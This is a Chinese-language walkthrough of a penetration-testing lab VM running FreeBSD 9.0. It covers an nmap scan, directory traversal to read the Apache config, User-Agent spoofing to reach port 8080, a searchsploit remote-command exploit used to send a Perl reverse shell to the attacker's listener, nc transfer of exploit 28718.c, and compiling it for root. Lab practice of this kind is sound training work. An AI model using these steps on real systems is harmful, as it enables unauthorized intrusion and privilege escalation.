1.将靶机导入至vm中
首先使用nmap命令获取靶机ip,靶机ip为192.168.55.135
2.进行端口扫描、目录枚举、指纹识别
指纹识别:
nmap 192.168.55.135 -p 22,80,8080 -sV -sC -O --version-all
3.进入靶机网页查看信息
访问靶机网页,发现没有有用的信息
查看一下源代码,发现有url,可以访问试一下
发现访问url后是一些目录
使用searchsploit进行漏洞查询,正好有一个漏洞版本号一致
将exp复制到桌面上查看exp的内容,发现是一个xss和目录遍历的漏洞
查看exp的漏洞利用方式
将目录进行拼接后,可以查看敏感信息
因为22端口是关闭的,所以passwd没有什么可利用的,读取shadow文件也读不了,想到8080端口报错是403,中间件是apache,所以就读取apache的配置文件看看,读取到的passwd文件得知了是FreeBSD 9.0的版本,所以就搜索 FreeBSD的apache配置路径后,构造payload:
注:apache的配置文件目录:/usr/local/etc/apache22/httpd.conf
发现访问8080的端口需要使用User-Agent的版本为Mozilla/4.0 Mozilla4_browser
此时可以使用bp拦截改包也可以使用User-Agent Switcher and Manager插件改变UA头进行访问8080端口
此时可以访问8080端口
进去之后发现是这样子的,想访问还是得更改UA头
使用searchsploit进行查找历史漏洞,可以使用21665的exp(远程执行命令)
先将脚本下载到桌面上
打开exp查看使用方法
早期的FreeBSD内置perl环境,所以就用perl语言来反弹shell,在火狐插件中找到perl的反弹shell
将$i改为$i="192.168.55.129" $p改为$p=4444
kali监听4444端口
抓包然后修改请求包
注意:要将perl反弹shell的命令先进行url编码后再进行发包
成功反弹
以上信息收集得知系统版本号是9.0版本
得知靶机有nc
使用第一个exp,首先下载到桌面
然后将exp上传
靶机使用nc命令进行下载(刚刚的连接断了,此时是4444端口反弹的shell)
上传:nc -lvnp 8888 < 28718.c
下载:nc 192.168.55.129 8888 > 28718.c
将上传成功的文件编译,运行
成功提权!